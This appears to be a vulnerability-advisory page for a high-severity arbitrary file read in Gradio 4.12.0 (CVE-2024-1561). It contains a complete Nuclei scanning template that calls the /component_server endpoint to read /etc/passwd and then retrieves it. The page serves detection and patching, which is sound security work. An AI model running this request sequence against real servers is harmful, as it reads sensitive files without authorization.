High

gradio

Arbitrary Local File Read in Gradio via Component Method Invocation

A vulnerability in Gradio version 4.12.0 allows attackers to read arbitrary files on the server by exploiting the `/component_server` endpoint to call any method on a `Component` class, specifically `move_resource_to_block_cache()`. This issue was patched in version 4.13.0.

Available publicly on Apr 16 2024

7.5

CVSS:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Credit:

ozelis
Nuclei Template
Nuclei Template
1id: gradio-local-file-include
2info:
3  name: Gradio Local File Read Vulnerability
4  author: ozelis, DanMcInerney, byt3bl33d3r
5  severity: high
6  description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
7  reference:
8    - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
9    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
10  classification:
11    cvss-score: 7.5
12    cwe-id: CWE-29
13    cve-id: CVE-2024-1561
14  tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
15requests:
16  - method: GET
17    path:
18      - "{{BaseURL}}/config"
19    extractors:
20      - type: json
21        part: body
22        name: component_id
23        internal: true
24        json:
25          - ".components[0].id"
26  - method: POST
27    path:
28      - "{{BaseURL}}/component_server"
29    headers:
30      Content-Type: "application/json"
31    body: |
32      {
33        "component_id": "{{component_id}}",
34        "data": "/etc/passwd",
35        "fn_name": "move_resource_to_block_cache",
36        "session_hash": "aaaaaaaaaaa"
37      }
38    extractors:
39      - type: regex
40        part: body
41        name: extracted_content
42        internal: true
43        group: 1
44        regex: 
45          - ""(.+)"" 
46  - method: GET
47    path:
48      - "{{BaseURL}}/file={{extracted_content}}"
49    matchers-condition: and
50    matchers:
51      - type: regex
52        regex:
53          - "root:.*:0:0:"
54      - type: status
55        status:
56          - 200
Resources

Learn how to use the Nuclei scanners and other scripts, or download the scanners and use them yourself.

How to use Nuclei scanners

Learn more about scanners and how to use them

Want more out of Sightline?

Sightline offers even more for premium customers

Go Premium

We have - related security advisories that are available with Sightline Premium.